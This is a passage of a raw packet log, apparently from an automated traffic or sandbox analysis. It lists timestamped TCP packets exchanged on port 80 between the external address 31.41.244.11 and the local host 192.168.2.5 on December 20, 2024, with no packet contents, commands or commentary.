Dec 20, 2024 13:12:12.821161032 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.821312904 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.821578979 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.821649075 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.821959019 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.822060108 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.822689056 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.822746992 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.822940111 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.822998047 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.823966026 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.824022055 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.824055910 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.824105978 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.824930906 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.824986935 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.826042891 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.826057911 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.826107025 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.826107025 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.826158047 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.827209949 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.827260017 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.827409983 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.827456951 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.828347921 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.828371048 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.828398943 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.828427076 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.829440117 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.829549074 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.829598904 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.830539942 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.831010103 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.831060886 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.831801891 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.831846952 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.832432985 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.832487106 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.832874060 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.832921028 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.832957029 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.833003998 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.833955050 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.834005117 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.834090948 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.835026026 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.835077047 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.835149050 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.835199118 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.836105108 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.836158037 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.836869955 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.836919069 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.837321997 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.837373972 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.837460041 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.837507963 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.838363886 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.838473082 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.838521004 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.839518070 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.839565992 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.839574099 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.839627981 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.840724945 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.840774059 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.840910912 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.840959072 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.841789961 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.841842890 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.841888905 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.841933966 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.842839003 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.842993021 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.843050003 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.843977928 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.844039917 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.844084978 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.844139099 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.845155001 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.845207930 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.845968962 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.846021891 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.846184969 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.846235991 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.846750975 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.846802950 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.847359896 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.847410917 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.847640991 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.847691059 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.848481894 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.848562002 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.849040031 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.849092007 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.849657059 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.849710941 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.850056887 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.850109100 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.850668907 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.850718021 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.850826025 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.850879908 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.851771116 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.851828098 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.851918936 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.851973057 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.852916002 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.852969885 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.853302956 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.853353024 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.854142904 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.854335070 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.854403019 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.854466915 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.855628967 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.855685949 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.855731964 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.855783939 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.856618881 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.856678009 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.856852055 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.856904030 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.857480049 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.857495070 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.857534885 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.858529091 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.859327078 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.859390974 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.859703064 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.859719038 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.859766006 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.860833883 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.860848904 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.860896111 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.861984015 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.862149954 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.862212896 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.862234116 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.863019943 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.863277912 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.863332033 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.864185095 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.864238977 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.864346981 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.864399910 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.865243912 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.865295887 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.865314960 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.865370989 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.866331100 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.867002964 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.867083073 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.867548943 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.867573977 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.867625952 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.868659019 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.868714094 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.868921995 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.868969917 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.869872093 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.869925022 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.870484114 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.871115923 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.871171951 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.871553898 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.871606112 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.871953964 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.872004986 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.872248888 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.872299910 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.873079062 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.873133898 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.873331070 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.873380899 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.874314070 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.874695063 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.874747992 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.875351906 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.875406027 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.875418901 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.875467062 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.876565933 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.876619101 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.010210991 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.010354996 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.010369062 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.010384083 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.010462999 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.010509014 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.011533022 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.011604071 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.011737108 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.011795044 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.012669086 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.012729883 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.012768984 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.012825012 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.013720989 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.013781071 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.014062881 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.014956951 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.015017986 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.015053034 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.015115023 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.015984058 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.016043901 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.016108036 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.016161919 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.017086029 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.017148018 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.017597914 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.017657995 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.018275976 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.018946886 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.019004107 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.019298077 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.019356966 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.019496918 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.019555092 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.020462036 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.020519018 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.020597935 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.020700932 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.021599054 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.021658897 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.021672964 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.021724939 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.022757053 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.022929907 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.022980928 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.023792982 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.024118900 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.024200916 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.024935007 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.024993896 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.025160074 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.025213957 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.026112080 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.026145935 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.026204109 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.027225971 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.027290106 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.027885914 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.027936935 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.028301001 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.028352976 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.028789997 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.028846979 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.029366970 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.029417992 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.029510021 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.029556990 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.030622959 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.030694962 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.030930996 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.030997992 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.031826973 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.031891108 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.032109976 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.032303095 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.032897949 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.032958984 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.032994032 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.033236980 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.034048080 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.034126997 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.034250021 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.034300089 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.035082102 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.035294056 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.035343885 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.036226034 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.036241055 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.036274910 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.036308050 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.037285089 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.037745953 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.037791967 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.038383961 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.038431883 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.038470030 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.038516045 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.039475918 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.039746046 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.040112019 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.040179968 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.040555000 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.040713072 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.040766954 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.041867018 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.041919947 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.042166948 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.042570114 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.042808056 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.042855978 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.042886972 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.042936087 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.043919086 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.043991089 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.044270039 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.044334888 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.045078039 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.045140028 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.045278072 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.045365095 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.046233892 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.046288013 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.046569109 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.046621084 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.047243118 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.047306061 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.047601938 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.047657967 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.048490047 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.048552036 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.048588037 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.048631907 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.049556017 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.049616098 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.049812078 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.049866915 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.050693035 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.050755024 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.050808907 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.051830053 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.051846027 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.051882982 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.051922083 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.052896023 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.052978039 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.053030014 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.053992987 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.054061890 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.054263115 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.054323912 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.055136919 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.055202007 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.055226088 CET	80	49831	31.41.244.11	192.168.2.5
